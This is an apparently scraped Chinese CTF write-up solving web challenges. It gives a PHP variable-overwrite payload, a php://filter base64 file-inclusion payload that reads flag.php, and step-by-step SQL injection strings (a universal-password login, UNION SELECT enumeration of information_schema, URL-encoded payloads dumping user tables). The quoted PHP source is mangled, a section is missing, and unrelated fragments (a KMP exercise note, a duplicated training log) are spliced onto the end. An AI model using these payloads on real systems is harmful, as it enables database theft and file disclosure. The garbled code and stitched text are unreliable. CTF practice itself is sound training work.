1、ctf.wgpsec 你可能需要一部iphone
題目如下
考察點:user-agent,burp改為iphone的user-agent,發包得到flag
坑:**理解錯誤,淦
考察點:**理解,根據**本身繞過
<?php
highlight_file
('source.txt');
echo""
;$flag
='******xx'
;$msg_giveme
='give me the flag!'
;$msg_getout
='no this. get out!';if
(!isset
($_get
['flag'])
&&!isset
($_post
['flag'])
)if($_post
['flag'
]===
'flag'
||$_get
['flag'
]===
'flag'
)foreach
($_post
as$key
=>
$value
)foreach
($_get
as$key
=>
$value
)echo
'the flag is : '
.$flag
;?>
**分析:
9-15行:兩個if語句限制了,get或者post請求中帶有flag引數,且過濾了flag=flag
這要怎麼輸出flag呢,往下17-19行 如果使用post方法,必然會將$flag的值覆蓋掉
接著21-23行,因為是遍歷$_get這個陣列,所以可以將$flag變數進行轉遞,最終輸出flag
payload:?123=flag&flag=123
3、[actf2020 新生賽]include
如圖:file引數及題目include,基本確定考察點為檔案包含
檔案包含漏洞,使用php://filter協議讀出flag.php。
php://filter
是一種元封裝器, 設計用於資料流開啟時的篩選過濾應用。 這對於一體式(all-in-one)的檔案函式非常有用,類似 readfile()、 file() 和 file_get_contents(), 在資料流內容讀取之前沒有機會應用其他過濾器。
在ctf中經常使用的是php://filter和php://input,php://filter用於讀取原始碼,php://input用於執行php**。
palyload php:
//filter/read=convert.base64-encode/resource=flag.php
這裡讀的過濾器為convert.base64-encode,就和字面上的意思一樣,把輸入流base64-encode。
resource=flag.php,代表讀取flag.php的內容
resource=《要過濾的資料流》 這個引數是必須的。它指定了你要篩選過濾的資料流。
read=《讀鏈的篩選列表》 該引數可選。可以設定乙個或多個過濾器名稱,以管道符(|)分隔。
write=《寫鏈的篩選列表》 該引數可選。可以設定乙個或多個過濾器名稱,以管道符(|)分隔。
如下圖base64字串讀出flag.php原始碼,解碼得到flag
4、[極客大挑戰 2019]lovesql
考察點:字元型回顯注入,常規注入
如圖,提示最好手工,且flag在資料庫的某處
判斷注入型別
使用萬能密碼:admin' or '1'='1
, 成功登陸,即字元型注入
判斷注入點欄位
使用order by x
,判斷注入點所在的表有多少列(字段數),得出只有3列
判斷回顯
使用union select 1,2,3,4...
判斷是否具體回顯,2,3處均有回顯,注意:若要判斷回顯,union前的引數值不能為資料庫存在的值
爆庫:
庫名 and1=
2union
select1,
2,3,schema_name,5,
6,7,
8,9,
10from information_schema.schemata limit0,
1 表名 and1=
2union
select1,
2,3,table_name,5,
6,7,
8,9,
10from information_schema.
tables
where table_schema=資料庫(十六進製制) limit
0(開始的記錄,0為第乙個開始記錄),
1(顯示1條記錄)
字段 and1=
2union
select1,
2,3,column_name,5,
6,7,
8,9,
10from information_schema.
columns
where table_name=表名(十六進製制)limit0,
1
payload:1%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='geek'%23
爆出來表geekuser,l0ve1ysq1
爆表payload:1%27+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='geekuser'%23
兩個表都是這三個字段
爆欄位:
payload:1%27+union+select+1,2,group_concat(id,name,password)+from+l0ve1ysq1%23
l0ve1ysq1表中爆出flag
KMP做題記錄
題目太長不貼了 這道題很巧妙,給定乙個字串s,求最少在首尾新增幾個字元後,s變為乙個迴圈了n次的字串 n 1 假設我們有乙個迴圈串s abcabcabc 我們根據kmp求一次next陣列,就可以通過next strlen s 得到乙個迴圈節的位置從而求出迴圈節的長度,顯然,迴圈節能被s整除。如果s ...
8 25 9 25 做題記錄
2018.8.25 上午 1.ac 洛谷p1514引水入城 搜尋 貪心 2.ac 洛谷p3918 國家集訓隊 特技飛行 貪心 下午 3.ac 洛谷p1120 小木棍 資料加強版 搜尋 剪枝 4.ac 洛谷p1441 砝碼稱重 dfs列舉 01揹包 2018.8.26 上午 參加模擬賽 下午 1.ac...
8 25 9 25 做題記錄
2018.8.25 上午 1.ac 洛谷p1514引水入城 搜尋 貪心 2.ac 洛谷p3918 國家集訓隊 特技飛行 貪心 下午 3.ac 洛谷p1120 小木棍 資料加強版 搜尋 剪枝 4.ac 洛谷p1441 砝碼稱重 dfs列舉 01揹包 2018.8.26 上午 參加模擬賽 下午 1.ac...